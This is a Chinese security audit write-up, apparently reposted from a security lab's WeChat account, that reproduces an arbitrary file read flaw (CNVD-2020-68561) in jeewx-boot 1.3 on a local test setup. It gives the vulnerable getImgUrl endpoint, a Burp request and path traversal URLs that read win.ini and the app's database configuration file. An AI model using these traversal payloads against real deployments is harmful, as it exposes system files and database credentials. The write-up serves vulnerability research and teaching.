1、首先安装git工具,我们打开命令行将当前项目最新版本1.3的源码拉取下来:
git clone https://gitee.com/jeecg/jeewx-boot.git
2、源码拉取成功后接下这我们先尝试用idea打开项目,尝试使用开发工具运行项目以方便后面的调试测试操作
等idea把jar包和组件拉取完成后尝试启动当前项目(具体idea导入项目操作请自行百度)
,当然还需要创建数据库并在项目配置文件中修改数据库连接信息
下面db目录中存放了数据库文件,创建数据库并导入数据库文件
数据库导入后刷新数据库信息,成功
3、接下来尝试使用idea运行项目
可以看到成功启动项目,现在我们通过浏览器成功访问,登陆尝试:
默认测试账号admin/123456
Ok,现在我们的整个开发环境部署成功,便于后面的运行调试
4、接下来我们将对当前项目暴露的任意文件读取漏洞(附编号:CNVD-2020-68561)进行操作分析,首先我们找到项目中存在文件读取的功能地址
5、通过分析文件操作相关功能发现系统存在外部路径可控相关问题,并且发现未对获取的路径进行过滤操作
6、我们直接运行环境当前项目,构造url路径与参数内容进行调试测试操作
7、找到class文件指向的请求地址
与当前类中文件请求方法所设置的请求地址进行拼接得到完整的功能接口路径
再加上参数名称imgurl成功构造出请求连接:http://localhost/goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=123.txt
8、接下接我们登陆系统,然后使用burp随便抓取一个请求报文,修改路径为我们所构造好的接口地址:
GET /goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=123.txt HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: _ga=GA1.1.441903222.1540260281; 14_vq=1; Hm_lvt_6f6dcdf1cf6beff0de1b03f3e959c679=1611815304; JSESSIONID=A6A4867FA83322B6B03AE13C7AB0EE66; Hm_lpvt_6f6dcdf1cf6beff0de1b03f3e959c679=1611817736
Connection: close
Upgrade-Insecure-Requests: 1
查看一下相应状态,返回200说明路径存在,请求成功
9、接下来我们查看一下idea运行日志,提示文件路径未找到
10、根据idea运行错误日志回显提示,使用路径穿越方法调试出正确的系统文件路径,首先通过web请求尝试读取windows系统文件路径。
http://localhost/goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=/../../../../../../../../../windows/win.ini
通过运行日志调试,尝试通过web请求获取web系统配置文件及数据库连接信息。
http://localhost/goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=/../../../../../../../Desktop/jeewx-boot/jeewx-boot-start/src/main/resources/application-dev.yml
可以读取系统中的任意文件操作。
原文始发于微信公众号(陆吾安全攻防实验室):记录一次java任意文件读取漏洞审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论